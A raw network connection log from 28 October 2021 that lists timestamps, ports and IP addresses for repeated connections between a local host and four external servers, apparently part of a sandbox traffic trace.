Oct 28, 2021 04:46:38.674223900 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.674971104 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.720036030 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.720176935 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.720982075 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.722836971 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.723062992 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.723181963 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.723685980 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.724761963 CEST	6891	49979	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:38.727921963 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.728034973 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.774158001 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.774441004 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.774554968 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.775126934 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.775914907 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.776655912 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.779170990 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.779328108 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.832262993 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.832565069 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.949856043 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.949892998 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:38.950071096 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:38.957252979 CEST	49980	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:39.005337954 CEST	8116	49980	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:39.015180111 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:39.015213013 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:39.015388012 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:39.015423059 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:39.018343925 CEST	49981	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:39.071428061 CEST	8116	49981	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:39.074239016 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.074285984 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.074414015 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.075069904 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.075083971 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.138365984 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.138438940 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.138607025 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.139723063 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.139746904 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.597738028 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.597862959 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.598530054 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.598545074 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.604028940 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.604057074 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.604140043 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.604151011 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.654321909 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.654416084 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.655097008 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.655116081 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.661060095 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.661081076 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:39.661233902 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:39.661248922 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.316562891 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.316637039 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.316745043 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.316765070 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.323998928 CEST	49982	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.324038029 CEST	443	49982	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.367331982 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.367434978 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.367521048 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.367544889 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.370634079 CEST	49983	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:40.370665073 CEST	443	49983	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:40.455394983 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.544249058 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.617079020 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.617230892 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.618287086 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.715673923 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.715866089 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.716614008 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.779882908 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.780033112 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.782373905 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.887804985 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.888034105 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:40.890249014 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.897969961 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.901185036 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.901441097 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.902370930 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.905720949 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:40.905816078 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:41.059609890 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.063184977 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.063220978 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.073823929 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.076915979 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.076945066 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.077205896 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.077322006 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.448139906 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.448184967 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.449274063 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:41.456355095 CEST	49984	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:41.462336063 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.462354898 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.465419054 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:41.467581987 CEST	49985	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:41.582835913 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:41.589905024 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:41.617960930 CEST	808	49984	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.638818026 CEST	808	49985	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:41.749485016 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:41.749705076 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:41.756450891 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:41.756724119 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.063030005 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.063612938 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.228539944 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.228620052 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.228687048 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.229142904 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.229880095 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.229963064 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.230007887 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.232672930 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.232811928 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.233390093 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.236841917 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.236988068 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.398123980 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.398155928 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.398166895 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.403140068 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.403332949 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.779350042 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.779386997 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.779551029 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.779597998 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.783127069 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.783149958 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:42.783220053 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:42.783265114 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:43.019524097 CEST	49986	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:43.024444103 CEST	49987	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:43.178325891 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.185014963 CEST	6891	49986	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:43.190790892 CEST	6891	49987	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:43.194209099 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.231319904 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.231482029 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.232508898 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.242155075 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.242324114 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.261446953 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.285265923 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.285295010 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.285368919 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.286088943 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.289139986 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.289226055 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.309325933 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.309539080 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.309623003 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.311652899 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.314834118 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.314914942 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.342878103 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.343245983 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.362706900 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.362848997 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.512442112 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.512487888 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.512553930 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.512609005 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.517208099 CEST	49988	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.546053886 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.546073914 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.546138048 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.546169043 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.553730965 CEST	49989	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:43.570043087 CEST	8116	49988	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.602065086 CEST	8116	49989	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:43.635880947 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.635920048 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:43.636075020 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.636899948 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.636920929 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:43.673475981 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.673521042 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:43.673620939 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.674366951 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:43.674377918 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.132531881 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.135490894 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.138669014 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.138689041 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.145349979 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.145371914 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.145493031 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.145500898 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.201863050 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.201961040 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.202541113 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.202549934 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.206651926 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.206674099 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.206774950 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.206788063 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.832700014 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.832772970 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.832952023 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.836342096 CEST	49990	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.836379051 CEST	443	49990	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.914294004 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.914376020 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.914393902 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.914437056 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.921686888 CEST	49991	443	192.168.2.5	192.46.210.220
Oct 28, 2021 04:46:44.921735048 CEST	443	49991	192.46.210.220	192.168.2.5
Oct 28, 2021 04:46:44.980879068 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.079365015 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.139079094 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.139234066 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.139936924 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.241394997 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.241595030 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.242892981 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.297930956 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.298053026 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.298162937 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.298799992 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.304586887 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.304840088 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.404756069 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.404937029 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.405055046 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.405590057 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.409327030 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.409452915 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.456871986 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.462738991 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.462846994 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.462889910 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.462905884 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.462923050 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.567317009 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.571405888 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.571430922 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.571618080 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.858958960 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.858992100 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.859172106 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.864696980 CEST	49992	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.965082884 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.965120077 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:45.965233088 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.972441912 CEST	49993	808	192.168.2.5	143.244.140.214
Oct 28, 2021 04:46:45.980171919 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.022814035 CEST	808	49992	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:46.089515924 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.134471893 CEST	808	49993	143.244.140.214	192.168.2.5
Oct 28, 2021 04:46:46.146703959 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.146795034 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.147454023 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.255975962 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.256107092 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.256827116 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.313893080 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.313978910 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.314057112 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.314578056 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.317610979 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.317703962 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.423249960 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.423285007 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.423423052 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.424241066 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.431116104 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.431303024 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.484137058 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.484167099 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.597662926 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.597692966 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.864501953 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.864541054 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.864648104 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.864715099 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.866808891 CEST	49994	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.975099087 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.975121021 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:46.975389004 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.975467920 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:46.982023001 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:46.987323999 CEST	49995	6891	192.168.2.5	45.77.0.96
Oct 28, 2021 04:46:47.033365011 CEST	6891	49994	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:47.041742086 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.041915894 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.042649031 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.102015018 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.102268934 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.102466106 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.104310989 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.108226061 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.108326912 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.117582083 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.153743982 CEST	6891	49995	45.77.0.96	192.168.2.5
Oct 28, 2021 04:46:47.167577982 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.167892933 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.170475960 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.170629025 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.172132015 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.224975109 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.225208998 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.225342035 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.226202011 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.233247995 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.233426094 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.286143064 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.286504030 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.286911964 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.337476015 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.337502956 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.337636948 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.343266010 CEST	49996	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.402734041 CEST	8116	49996	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.455684900 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.455732107 CEST	8116	49997	185.56.219.47	192.168.2.5
Oct 28, 2021 04:46:47.455964088 CEST	49997	8116	192.168.2.5	185.56.219.47
Oct 28, 2021 04:46:47.467714071 CEST	49998	443	192.168.2.5	192.46.210.220
